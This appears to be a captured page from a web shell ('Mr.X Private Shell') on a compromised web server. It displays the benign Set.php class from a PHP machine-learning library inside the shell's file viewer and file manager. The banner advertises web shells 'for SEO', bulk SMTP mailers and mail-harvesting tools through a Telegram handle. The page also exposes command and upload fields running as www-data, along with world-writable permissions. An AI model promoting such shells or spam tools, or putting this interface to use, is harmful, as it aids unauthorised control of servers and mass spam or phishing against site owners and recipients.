__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php

declare(strict_types=1);

namespace Phpml\Math;

use ArrayIterator;
use IteratorAggregate;

class Set implements IteratorAggregate
{
    /**
     * @var string[]|int[]|float[]|bool[]
     */
    private $elements = [];

    /**
     * @param string[]|int[]|float[]|bool[] $elements
     */
    public function __construct(array $elements = [])
    {
        $this->elements = self::sanitize($elements);
    }

    /**
     * Creates the union of A and B.
     */
    public static function union(self $a, self $b): self
    {
        return new self(array_merge($a->toArray(), $b->toArray()));
    }

    /**
     * Creates the intersection of A and B.
     */
    public static function intersection(self $a, self $b): self
    {
        return new self(array_intersect($a->toArray(), $b->toArray()));
    }

    /**
     * Creates the difference of A and B.
     */
    public static function difference(self $a, self $b): self
    {
        return new self(array_diff($a->toArray(), $b->toArray()));
    }

    /**
     * Creates the Cartesian product of A and B.
     *
     * @return Set[]
     */
    public static function cartesian(self $a, self $b): array
    {
        $cartesian = [];

        foreach ($a as $multiplier) {
            foreach ($b as $multiplicand) {
                $cartesian[] = new self(array_merge([$multiplicand], [$multiplier]));
            }
        }

        return $cartesian;
    }

    /**
     * Creates the power set of A.
     *
     * @return Set[]
     */
    public static function power(self $a): array
    {
        $power = [new self()];

        foreach ($a as $multiplicand) {
            foreach ($power as $multiplier) {
                $power[] = new self(array_merge([$multiplicand], $multiplier->toArray()));
            }
        }

        return $power;
    }

    /**
     * @param string|int|float|bool $element
     */
    public function add($element): self
    {
        return $this->addAll([$element]);
    }

    /**
     * @param string[]|int[]|float[]|bool[] $elements
     */
    public function addAll(array $elements): self
    {
        $this->elements = self::sanitize(array_merge($this->elements, $elements));

        return $this;
    }

    /**
     * @param string|int|float $element
     */
    public function remove($element): self
    {
        return $this->removeAll([$element]);
    }

    /**
     * @param string[]|int[]|float[] $elements
     */
    public function removeAll(array $elements): self
    {
        $this->elements = self::sanitize(array_diff($this->elements, $elements));

        return $this;
    }

    /**
     * @param string|int|float $element
     */
    public function contains($element): bool
    {
        return $this->containsAll([$element]);
    }

    /**
     * @param string[]|int[]|float[] $elements
     */
    public function containsAll(array $elements): bool
    {
        return count(array_diff($elements, $this->elements)) === 0;
    }

    /**
     * @return string[]|int[]|float[]|bool[]
     */
    public function toArray(): array
    {
        return $this->elements;
    }

    public function getIterator(): ArrayIterator
    {
        return new ArrayIterator($this->elements);
    }

    public function isEmpty(): bool
    {
        return $this->cardinality() === 0;
    }

    public function cardinality(): int
    {
        return count($this->elements);
    }

    /**
     * Removes duplicates and rewrites index.
     *
     * @param string[]|int[]|float[]|bool[] $elements
     *
     * @return string[]|int[]|float[]|bool[]
     */
    private static function sanitize(array $elements): array
    {
        sort($elements, SORT_ASC);

        return array_values(array_unique($elements, SORT_ASC));
    }
}

Filemanager

Name Type Size Permission Actions
Distance Folder 0777
Kernel Folder 0777
LinearAlgebra Folder 0777
Statistic Folder 0777
Comparison.php File 971 B 0777
Distance.php File 136 B 0777
Kernel.php File 222 B 0777
Matrix.php File 7.82 KB 0777
Product.php File 421 B 0777
Set.php File 3.68 KB 0777
Filemanager